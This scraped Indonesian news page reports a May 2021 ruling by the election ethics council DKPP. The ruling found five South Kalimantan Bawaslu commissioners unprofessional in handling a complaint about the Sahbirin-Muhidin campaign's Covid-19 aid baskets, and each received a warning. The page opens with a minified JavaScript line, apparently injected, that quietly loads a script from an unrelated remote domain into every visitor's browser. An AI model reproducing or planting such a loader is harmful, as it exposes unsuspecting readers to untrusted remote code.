(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

5 Komisioner Dapat Sanksi Peringatan, DKPP RI Putus Bawaslu Kalsel Langgar Etik!


KANALKALIMANTAN.COM, BANJARMASIN– Dewan Kehormatan Penyelenggara Pemilu (DKPP) RI memutus terkait pengaduan Tim Hukum H2D terhadap lima komisioner Bawaslu Kalsel, Rabu (19/5/2021). Dalam putusannya DKPP menyatakan Bawaslu Kalsel melanggar etik dan profesionalitas.

Putusan DKPP terkait pengaduan laporan penyalahgunaan kewenangan yang dilakukan oleh paslon Sahbirin-Muhidin berupa pembagian bakul Covid-19.

“Kaburnya atau tidak terangnya kajian keterpenuhan atau ketidakterpenuhan setiap unsur dalam pasal dengan peristiwa atau kejadian, mereduksi (menurunkan) kepercayaan publik terhadap kinerja Bawaslu Kalimantan Selatan,” kata Didik Supriyanto, sebagai salah satu anggota DKPP RI.

Atas dasar itu, DKPP RI menjatuhkan putusan bahwa Bawaslu Kalsel tidak bekerja secara profesional dalam menangani laporan paslon Denny Indrayana.

“Dengan demikian dalil aduan Pengadu (Tim H2D) terbukti, dan jawaban Para Teradu tidak meyakinkan DKPP RI”, ucap Prof Teguh Prasetyo selaku majelis etik dalam pembacaan putusan.

Akibat terbukti tidak profesional dan tidak terbuka, seluruh komisioner Bawaslu Kalsel mendapatkan sanksi dari DKPP RI berupa peringatan.

Sebelumnya, Tim Hukum H2D mendasarkan argumentasi bahwa analisa hukum Bawaslu Kalsel menghadirkan fakta bahwa seluruh unsur pelanggaran terpenuhi, sehingga Sahbirin-Muhidin harusnya didiskualifikasi. Namun dalam kesimpulannya tiba-tiba berbelok, menyatakan unsur pelanggaran tidak terpenuhi.

Komisioner Bawaslu Kalsel tidak mau ketinggalan memberikan bantahan, dengan dalil bahwa unsur pelanggaran tidak terpenuhi. Meskipun sudah dijelaskan dengan sangat detail oleh tim hukum H2D dari halaman per halaman bahwa seluruh unsur terpenuhi.

“Saya tantang kepada saudara (para komisioner Bawaslu Kalsel) untuk menunjukkan pada halaman berapa di bagian analisa hukum, saudara nyatakan ada unsur yang tidak terpenuhi?” tegas pengacara H2D, Muhamad Raziv Barokah.

Fakta yang diungkap dan diputus oleh DKPP RI menciptakan sedikit kelegaan bagi tim H2D. Pasalnya segala dalil, bukti, dan saksi yang diajukan tempo lalu mengenai penyalahgunaan wewenang oleh petahana memang benar adanya.

“Dalil kami terbukti. Andai saja Bawaslu Kalsel tegak lurus, pastinya Sahbirin-Muhidin didiskualifikasi sejak kemarin-kemarin,” katanya.

Di sisi lain, Ketua Bawaslu Kalsel Erna Kasypiah belum berhasil dikonfirmasi terkait hasil putusan DKPP tersebut. (Kanalkalimantan.com/kk)

 

Reporter : Kk
Editor : Kk

 

 


Al Ghifari

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

10 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

13 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

15 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

15 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

16 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

17 jam ago

This website uses cookies.